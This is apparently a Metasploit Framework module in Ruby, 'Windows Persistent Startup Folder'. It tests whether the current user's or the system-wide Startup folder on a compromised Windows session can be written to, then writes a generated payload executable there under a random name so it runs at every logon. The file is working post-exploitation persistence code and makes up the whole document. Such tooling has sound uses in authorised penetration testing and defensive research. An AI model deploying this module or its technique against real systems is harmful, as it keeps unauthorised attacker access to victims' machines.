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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Exploit::EXE
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  include Msf::Exploit::Local::Persistence
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Windows Persistent Startup Folder',
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        'Description' => %q{
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          This module establishes persistence by creating a payload in the user or system startup folder.
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          Works on Vista and newer systems.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'h00die' ],
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        'Platform' => [ 'win' ],
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        'SessionTypes' => [ 'meterpreter', 'shell' ],
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        'Targets' => [
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          [ 'Automatic', {} ]
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        ],
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        'DefaultTarget' => 0,
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        'References' => [
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          ['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
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          ['URL', 'https://support.microsoft.com/en-us/windows/configure-startup-applications-in-windows-115a420a-0bff-4a6f-90e0-1934c844e473']
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        ],
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        'DisclosureDate' => '1995-01-01', # windows 95
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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          'SideEffects' => [ARTIFACTS_ON_DISK]
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
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        OptEnum.new('CONTEXT', [false, 'Target current User or All Users (system)', 'USER', ['USER', 'SYSTEM'] ])
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      ]
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    )
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  end
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  def folder
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    if datastore['CONTEXT'] == 'USER'
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      f = session.sys.config.getenv('%userprofile%')
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      f = "#{f}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
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      return f
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    end
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    f = session.sys.config.getenv('%ProgramData%')
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    "#{f}\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
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  end
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  def check
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    f = folder
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    begin
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      # windows only ps payloads have writable? so try that first
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      return CheckCode::Safe("Unable to write to #{f}") unless writable?(f)
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    rescue RuntimeError
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      filename = f + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
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      write_file(filename, '')
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      if exists? filename
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        rm_f(filename)
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        return CheckCode::Appears("Likely exploitable, able to write test file to #{f}")
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      else
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        return CheckCode::Safe("Unable to write to #{f}")
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      end
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    end
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    CheckCode::Appears('Likely exploitable')
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  end
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  def install_persistence
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    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
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    payload_exe = generate_payload_exe
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    payload_pathname = folder + '\\' + payload_name + '.exe'
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    vprint_good("Writing payload to #{payload_pathname}")
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    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)
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    vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
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    @clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
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  end
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end
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